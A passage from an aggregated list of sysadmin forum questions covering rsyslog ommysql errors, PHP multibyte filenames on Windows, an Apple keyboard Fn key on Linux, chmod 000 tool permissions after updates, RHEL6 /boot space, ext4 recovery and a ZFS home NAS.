9244.376940082:283593c0: regular consumer finished, iret=4, szlog 0 sz phys 0 9244.376942037:283593c0: main Q:Reg/w0: worker IDLE, waiting for work. .... I can see the Action Call to ommysql returns unexpected error code -2123 Now I am stuck! Any ideas on what to look for next? Perhaps I there are extra ports I need to install? I will be very grateful for any assistance here!

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  • How can I check if PHP was compiled with the UNICODE version of the Win32 API?

    - by Wesley Murch
    This is related to this Stack Overflow post: glob() can't find file names with multibyte characters on Windows? I'm having issues with PHP and files that have multibyte characters on Windows. Here's my test case: print_r(scandir('./uploads/')); print_r(glob('./uploads/*')); Correct Output on remote UNIX server: Array ( [0] => . [1] => .. [2] => filename-äöü.jpg [3] => filename.jpg [4] => test?test.jpg [5] => ??? ?????.jpg [6] => ?????????.jpg [7] => ???.jpg ) Array ( [0] => ./uploads/filename-äöü.jpg [1] => ./uploads/filename.jpg [2] => ./uploads/test?test.jpg [3] => ./uploads/??? ?????.jpg [4] => ./uploads/?????????.jpg [5] => ./uploads/???.jpg ) Incorrect Output locally on Windows: Array ( [0] => . [1] => .. [2] => ??? ?????.jpg [3] => ???.jpg [4] => ?????????.jpg [5] => filename-äöü.jpg [6] => filename.jpg [7] => test?test.jpg ) Array ( [0] => ./uploads/filename-äöü.jpg [1] => ./uploads/filename.jpg ) Here's a relevant excerpt from the answer I chose to accept (which actually is a quote from an article that was posted online over 2 years ago): From the comments on this article: http://www.rooftopsolutions.nl/blog/filesystem-encoding-and-php The output from your PHP installation on Windows is easy to explain : you installed the wrong version of PHP, and used a version not compiled to use the Unicode version of the Win32 API. For this reason, the filesystem calls used by PHP will use the legacy "ANSI" API and so the C/C++ libraries linked with this version of PHP will first try to convert yout UTF-8-encoded PHP string into the local "ANSI" codepage selected in the running environment (see the CHCP command before starting PHP from a command line window) Your version of Windows is MOST PROBABLY NOT responsible of this weird thing. Actually, this is YOUR version of PHP which is not compiled correctly, and that uses the legacy ANSI version of the Win32 API (for compatibility with the legacy 16-bit versions of Windows 95/98 whose filesystem support in the kernel actually had no direct support for Unicode, but used an internal conversion layer to convert Unicode to the local ANSI codepage before using the actual ANSI version of the API). Recompile PHP using the compiler option to use the UNICODE version of the Win32 API (which should be the default today, and anyway always the default for PHP installed on a server that will NEVER be Windows 95 or Windows 98...) I can't confirm whether this is my problem or not. I used phpinfo() and did not find anything interesting, but I wasn't sure what to look for. I've been using XAMPP for easy installations, so I'm really not sure exactly how it was installed. I'm using Windows 7, 64 bit - so forgive my ignorance, but I'm not even sure if "Win32" is relevant here. How can I check if my current version of PHP was compiled with the configuration mentioned above? PHP Version: 5.3.8 System: Windows NT WES-PC 6.1 build 7601 (Windows 7 Home Premium Edition Service Pack 1) i586 Build Date: Aug 23 2011 11:47:20 Compiler: MSVC9 (Visual C++ 2008) Architecture: x86 Configure Command: cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-pack" "--disable-isapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet" "--with-mcrypt=static" "--disable-static-analyze"

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  • Linux: Apple Wireless A1314 Fn key not registered, looks like software bug

    - by ramplank
    I'm trying to set up my Apple Wireless Keyboard with my Kubuntu systems. These are PC hardware powered by Intel Atom and Intel i5 respectively. The keyboard has a US keyboard layout and has model number A1314 written on the back. It takes two AA batteries. I'm saying that because it appears there are multiple types of model A1314. I have tried this on a 10.04, 11.04, 11.10 and 12.04 system with no success. Every time using a bluetooth dongle and the KDE bluetooth notification tray applet, the keyboard can be connected. In both cases it shows up as "Apple Wireless Keyboard". Almost everything works as expected, in fact, I'm typing on it right now. But one thing doesn't: The Fn key. I'd like to use Fn + Down Arrow as PgDn / Page Down, I understand this is default behaviour on Apple keyboards. And of course I'd like the same for Page Up, Home and End. I'll stick to Page Down in my example. I used the xev tool to see the keycodes the system receives, and if I press on Fn nothing happens, and nothing is registered. If I press Fn + Down Arrow, xev only registers the down arrow. Here's the output from my 11.04 system to illustrate: Press just the Fn key: no output Press Down Arrow key: KeyPress event, serial 36, synthetic NO, window 0x4400001, root 0x15d, subw 0x4400002, time 2699773, (44,45), root:(1352,298), state 0x10, keycode 116 (keysym 0xff54, Down), same_screen YES, XLookupString gives 0 bytes: XmbLookupString gives 0 bytes: XFilterEvent returns: False KeyRelease event, serial 36, synthetic NO, window 0x4400001, root 0x15d, subw 0x4400002, time 2699860, (44,45), root:(1352,298), state 0x10, keycode 116 (keysym 0xff54, Down), same_screen YES, XLookupString gives 0 bytes: XFilterEvent returns: False Press Fn+Down Arrow Keys together: KeyPress event, serial 36, synthetic NO, window 0x4400001, root 0x15d, subw 0x4400002, time 2701548, (44,45), root:(1352,298), state 0x10, keycode 116 (keysym 0xff54, Down), same_screen YES, XLookupString gives 0 bytes: XmbLookupString gives 0 bytes: XFilterEvent returns: False KeyRelease event, serial 36, synthetic NO, window 0x4400001, root 0x15d, subw 0x4400002, time 2701623, (44,45), root:(1352,298), state 0x10, keycode 116 (keysym 0xff54, Down), same_screen YES, XLookupString gives 0 bytes: XFilterEvent returns: False I've been searching this forum and other Linux-related forums for hours but I still have not found a solution. I mostly found advice on how to fix this when using an actual apple laptop or desktop, but I don't have that. They said to try something like the following echo 2 > /sys/module/hid_apple/ ... But since there's no hid_apple directory present on my systems, I've needed to modprobe hid_apple first. That didn't help either. I'm cool with changing some config files, or compiling my own patched kernel if that's necessary. I currently have a 10.04 and 12.04 system available to test. The same issue occurs when hooked up to Windows 7. Fn key still does nothing, not by itself or in combination with other keys. With some AutoHotkey fiddling, I was able to confirm the key is registered as pressed, but ignored by default. A custom AutoHotkey script can fix that. But AutoHotkey is only for Windows, I want my problem fixed on Linux. Hooked up to an iPad 2 it only works in combination with the F1-F12 keys. Not with the arrow keys. If the screen of the ipad is off, and I press just the Fn key, the screen will come on, so the key itself is registered as pressed. So to sum up my question: Can anyone help me get Page Up, Page Down, Home and End to work on this keyboard, when that requires me to use an Fn key which is currently not registered?

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  • Permission Mystery - apt-get and other system utilities have 000 permissions

    - by emteh
    I'm trying to track down this strange behavoir for years now. Always after installing software-updates the permissions of a lot of system-tools are broken as you can see below. I am reasonable convinced that the machine is not owned by someone else. Regular security updates + grsecurity kernel + pax + daily rkhunter runs. Besides that there is no incentive for an attacker to fiddle in such obvious ways with the system. I installed bastille linux (http://bastille-linux.sourceforge.net/) und tried to deinstall it later, so the problems could be related to that. However I don't see how this can happen in a regular way after updates. System: Ubuntu 10.04, recently updated to Ubuntu 12.04 but the problem persists. Apt-Configuration in /etc/apt/ looks sane to me. But nevertheless - could here be the source of the trouble? DPkg::Pre-Install-Pkgs {"/usr/sbin/dpkg-preconfigure --apt || true";}; DPkg::Post-Invoke { "if [ -x /usr/bin/debsums ]; then /usr/bin/debsums -- generate=nocheck -sp /var/cache/apt/archives; fi"; }; // Makes sure that rkhunter file properties database is updated // after each remove or install only APT_AUTOGEN is enabled DPkg::Post-Invoke { "if [ -x /usr/bin/rkhunter ] && grep -qiE '^APT_AUTOGEN=.? (true|yes)' /etc/default/rkhunter; then /usr/share/rkhunter/scripts/rkhupd.sh; fi" } DPkg::Post-Invoke {"if [ -d /var/lib/update-notifier ]; then touch /var/lib/update- notifier/dpkg-run-stamp; fi; if [ -e /var/lib/update-notifier/updates-available ]; then echo > /var/lib/update-notifier/updates-available; fi "; }; Where do these chmod 000 come from? I'm feeling really uneasy with this problem. root@besen:~# find /usr/bin/ -perm 0 -ls 14721496 196 ---------- 1 root root 192592 Oct 15 11:58 /usr/bin/apt-get 14721144 68 ---------- 1 root root 63848 Sep 13 00:29 /usr/bin/gpasswd root@besen:~# find /usr/sbin/ -perm 0 -ls 1727732 92 ---------- 1 root root 86984 Sep 13 00:29 /usr/sbin/usermod 1727727 64 ---------- 1 root root 57640 Sep 13 00:29 /usr/sbin/userdel 1727719 64 ---------- 1 root root 57680 Sep 13 00:29 /usr/sbin/newusers 1727718 40 ---------- 1 root root 38632 Sep 13 00:29 /usr/sbin/grpunconv 1727728 48 ---------- 1 root root 47088 Sep 13 00:29 /usr/sbin/groupadd 1727724 32 ---------- 1 root root 29584 Sep 13 00:29 /usr/sbin/pwunconv 19031620 84 ---------- 1 root root 81880 Jan 3 2012 /usr/sbin/edquota 14877113 48 ---------- 1 root root 46880 Sep 13 00:29 /usr/sbin/grpck 1727722 40 ---------- 1 root root 38632 Sep 13 00:29 /usr/sbin/pwck 1727730 96 ---------- 1 root root 91464 Sep 13 00:29 /usr/sbin/useradd 19031619 16 ---------- 1 root root 14600 Jan 3 2012 /usr/sbin/quotastats 1727720 44 ---------- 1 root root 42760 Sep 13 00:29 /usr/sbin/groupdel 1727733 36 ---------- 1 root root 34504 Sep 13 00:29 /usr/sbin/pwconv 19031621 80 ---------- 1 root root 77632 Jan 3 2012 /usr/sbin/rpc.rquotad 19030041 76 ---------- 1 root root 73600 Jan 3 2012 /usr/sbin/repquota 1727731 40 ---------- 1 root root 38624 Sep 13 00:29 /usr/sbin/grpconv 1727725 56 ---------- 1 root root 49472 Sep 13 00:29 /usr/sbin/vipw 1727723 64 ---------- 1 root root 57672 Sep 13 00:29 /usr/sbin/groupmod root@besen:~# find /sbin/ -perm 0 -ls 16760927 76 ---------- 1 root root 73464 Jan 3 2012 /sbin/quotaon Any tipps? I really can't pinpoint the problem in more detail. It happens after installing updates but I can't find no hooks in the dpkg/apt system.

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  • How to free up space on RHEL6 /boot safely?

    - by ams
    I am trying to do yum update on RHEL 6 box and I am getting this error message Transaction Check Error: installing package kernel-2.6.32-279.9.1.el6.x86_64 needs 10MB on the /boot filesystem installing package grub-1:0.97-77.el6.x86_64 needs 10MB on the /boot filesystem Error Summary ------------- Disk Requirements: At least 10MB more space needed on the /boot filesystem. My /boot has the following # ls -lah /boot total 74M dr-xr-xr-x. 5 root root 2.0K Jun 10 08:05 . drwxr-xr-x. 23 root root 4.0K Aug 27 03:08 .. -rw-r--r-- 1 root root 99K Apr 26 12:53 config-2.6.32-220.17.1.el6.x86_64 -rw-r--r-- 1 root root 99K Feb 10 2012 config-2.6.32-220.7.1.el6.x86_64 -rw-r--r--. 1 root root 99K Nov 9 2011 config-2.6.32-220.el6.x86_64 drwxr-xr-x. 3 root root 1.0K Mar 29 2012 efi drwxr-xr-x. 2 root root 1.0K Jun 10 07:53 grub -rw-r--r-- 1 root root 15M Jun 10 07:53 initramfs-2.6.32-220.17.1.el6.x86_64.img -rw-r--r-- 1 root root 15M Mar 29 2012 initramfs-2.6.32-220.7.1.el6.x86_64.img -rw-r--r--. 1 root root 15M Mar 29 2012 initramfs-2.6.32-220.el6.x86_64.img -rw------- 1 root root 3.4M Jun 10 08:06 initrd-2.6.32-220.17.1.el6.x86_64kdump.img -rw------- 1 root root 3.5M Jun 10 07:53 initrd-2.6.32-220.7.1.el6.x86_64kdump.img -rw------- 1 root root 3.4M Mar 29 2012 initrd-2.6.32-220.el6.x86_64kdump.img drwx------. 2 root root 12K Mar 29 2012 lost+found -rw-r--r-- 1 root root 168K Apr 26 12:55 symvers-2.6.32-220.17.1.el6.x86_64.gz -rw-r--r-- 1 root root 168K Feb 10 2012 symvers-2.6.32-220.7.1.el6.x86_64.gz -rw-r--r--. 1 root root 168K Nov 9 2011 symvers-2.6.32-220.el6.x86_64.gz -rw-r--r-- 1 root root 2.3M Apr 26 12:53 System.map-2.6.32-220.17.1.el6.x86_64 -rw-r--r-- 1 root root 2.3M Feb 10 2012 System.map-2.6.32-220.7.1.el6.x86_64 -rw-r--r--. 1 root root 2.3M Nov 9 2011 System.map-2.6.32-220.el6.x86_64 -rwxr-xr-x 1 root root 3.8M Apr 26 12:53 vmlinuz-2.6.32-220.17.1.el6.x86_64 -rw-r--r-- 1 root root 171 Apr 26 12:53 .vmlinuz-2.6.32-220.17.1.el6.x86_64.hmac -rwxr-xr-x 1 root root 3.8M Feb 10 2012 vmlinuz-2.6.32-220.7.1.el6.x86_64 -rw-r--r-- 1 root root 170 Feb 10 2012 .vmlinuz-2.6.32-220.7.1.el6.x86_64.hmac -rwxr-xr-x. 1 root root 3.8M Nov 9 2011 vmlinuz-2.6.32-220.el6.x86_64 -rw-r--r--. 1 root root 166 Nov 9 2011 .vmlinuz-2.6.32-220.el6.x86_64.hmac here is the disk usage on boot # du -h 13K ./lost+found 282K ./grub 247K ./efi/EFI/redhat 249K ./efi/EFI 251K ./efi 75M . Problem is that when I got this severer at my ISP I used their default image for RHEL 6 which only allocates 100MB for /boot clearly this is not enough. How can I get around this problem, is it safe to delete any of the above files some of them seem to be on the disk more than once? Is there some way of expand /boot without re-imaging the machine?

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  • How can I recover an ext4 filesystem corrupted after a fsck?

    - by Regan
    I have an ext4 filesystem on luks over software raid5. The filesystem was operating "just fine" for several years when I was beginning to run out of space. I had a 9T volume on 6x2T drives. I began upgrading to 3T drives by doing the mdadm fail, remove, add, rebuild, repeat process until I had a larger array. I then grew the luks container, and then when I unmounted and tried to resize2fs I was given the message the filesystem was dirty and needed e2fsck. Without thinking I just did e2fsck -y /dev/mapper/candybox and it began spewing all kinds of inode being removed type messages (can't remember exactly) I killed e2fsck and tried to remount the filesystem to backup data I was concerned about. When trying to mount at this point I get: # mount /dev/mapper/candybox /candybox mount: wrong fs type, bad option, bad superblock on /dev/mapper/candybox, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so Looking back at my older logs I noticed the filesystem was giving this error each time the machine booted: kernel: [79137.275531] EXT4-fs (dm-2): warning: mounting fs with errors, running e2fsck is recommended So shame on me for not paying attention :( I then tried to mount using every backup superblock (one after another) and each attempt left this in my log: EXT4-fs (dm-2): ext4_check_descriptors: Checksum for group 0 failed (26534!=65440) EXT4-fs (dm-2): ext4_check_descriptors: Checksum for group 1 failed (38021!=36729) EXT4-fs (dm-2): ext4_check_descriptors: Checksum for group 2 failed (18336!=39845) ... EXT4-fs (dm-2): ext4_check_descriptors: Checksum for group 11911 failed (28743!=44098) BUG: soft lockup - CPU#0 stuck for 23s! [mount:2939] Attempts to restart e2fsck results in: # e2fsck /dev/mapper/candybox e2fsck 1.41.14 (22-Dec-2010) e2fsck: Group descriptors look bad... trying backup blocks... candy: recovering journal e2fsck: unable to set superblock flags on candy At this point, I decided it best to order some more drives and make an image using ddrescue Now two weeks later I have an image of the luks partition in a .img file. # ls -lh total 14T -rw-r--r-- 1 root root 14T Oct 25 01:57 candybox.img -rw-r--r-- 1 root root 271 Oct 20 14:32 candybox.logfile After numerous attempts using everything I could find online I could not coerce e2fsck to do anything on the image, so I used mkfs.ext4 -L candy candybox.img -m 0 -S and I was able to mount the dirty filesystem readonly without the journal and recover 960G of data. It gave all kinds of errors of various directories not existing and so forth but I was able to get some stuff. Which gave me some hope! I then ran e2fsck again and it had to recreate the root inode and gave a massive list of correcting group counts, I accepted the root inode creation and said no to everything else, leaving a completely empty filesystem. Re-ran again and said yes to all questions with the same result but now a "clean" but empty filesystem. extundelete gives me 0 recoverable inodes found. And now I'm stuck again, I can't come up with any other methods other than dropping to something like photorec which will give me an absolute mess with how large the filesystem was. I'm willing to re-copy the image from the original array and start over, if I can get any suggestions or ideas on a way to get more of my files back. I wish I could give more detailed logs of the commands that have run, but the output is long scrolled passed except for what gets logged to syslog and my memory is not as detailed due to the timeframe this has occurred over. Any help is greatly appreciated!

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  • Choice of an OS for a home ZFS NAS

    - by OlafM
    I am preparing a home NAS with an old Athlon 64 X2 3800+, 4 GB ECC RAM, Asus M2V MX motherboard, and a single 3 TB WDC Green (another one as mirror may be installed in the future). It's the cheapest solution I found that includes ECC memory and the higher energy consumption is offset by the lower (zero) cost of acquisition. The system will be used for: music storage and stream to other desktop computers; storage of the scanned dia slides (3-4k slides, 180 MB TIFF each one plus reduced quality JPEG version); stream of these photos to a local iPad 2 (maybe Plex App? not yet sure); (one additional) remote backup via rsync/ssh or ZFS send/receive. It will be controlled via remote ssh, maybe VNC, no monitor attached. Absolute requirement is a reliable ZFS solution, plus the ability to easily install packets/software/virtual machines and to update remotely (I will be the admin and I don't live near the NAS). I have mainly three options: NAS4free/FreeNAS OpenIndiana Solaris Express 11 (yeah yeah I know the license requirements, I will write a perl script on it to count it as development machine). Problems: NAS4free/FreeNAS (I tested only NAS4free) required embedded installation for remote upgrading, but full install for easy addition of software packets. Since I need at least AirVideo Server (linux/win) and Plex App (win/linux) to stream the photos and some videos to iPad (they both require virtualbox), but I cannot be there to install updates, NAS4free/FreeNAS are excluded. http://www.nas4free.org/general_information.html explains the issue: embedded can be remotely updated, full cannot. Solaris has also another advantage: Crashplan client supports Solaris and I'm already using it for other backups. I would like to leave the option open, even if I will be doing backups probably through zfs send/receive. NexentaStor was left out because zfs send/receive are not included in the free version. The question is now Solaris 11 Express over OpenIndiana. To ease the management, I will be using http://www.napp-it.org Which one would you suggest and why? I found lots of informations and it's difficult for me to decide. I think (from the napp-it manual) that Solaris has some additional options for SMB shares, but are they really needed at home? I think I won't even use ACLs, since normal unix-style permissions are enough. OpenIndiana has maybe more frequent updates (Solaris offers only security updates between releases), but again, do I need them? I don't think so. Moreover, this is a NAS that has to work and nothing else, I cannot risk having problems that require me to access the server. Isn't OpenIndiana a bit more... cutting edge (in the Solaris world)? I'm just asking, no need to focus on this for the answer :-) I would limit myself to these two options (SE11.1/OI) also because I will be making a NAS for me in the future (where high performances with Mac shares are also required) and Solaris has kernel support for AFP. I will use this server to gather experience as well. After this long question, thanks in advance! If you need additional info, let me know and I will update this post. UPDATES Given the first answers, I will strongly suggest the person paying the hardware to insert a second HD. Better 2x2TB than 1x3TB (3 TB is oversized anyway). I was trying to keep the initial costs down to spread them over a longer period, but better having something good from the beginning.

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